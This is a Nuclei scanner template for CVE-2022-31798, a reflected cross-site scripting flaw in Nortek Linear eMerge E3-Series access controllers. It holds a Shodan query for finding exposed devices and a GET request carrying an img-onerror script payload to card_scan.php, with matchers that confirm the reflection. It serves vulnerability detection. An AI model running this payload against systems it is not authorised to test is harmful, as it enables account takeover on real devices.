nuclei-templates/cves/2022/CVE-2022-31798.yaml

43 lines
1.2 KiB
YAML

id: CVE-2022-31798
info:
name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
There is local session fixation that chained with reflected cross-site scripting leads to account take over of admin or less privileged users.
reference:
- https://packetstormsecurity.com/files/167992/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31798
- http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-31798
cwe-id: CWE-79
metadata:
shodan-query: http.title:"eMerge"
verified: "true"
tags: cve2022,emerge,nortek,xss,packetstorm,cve
requests:
- method: GET
path:
- '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200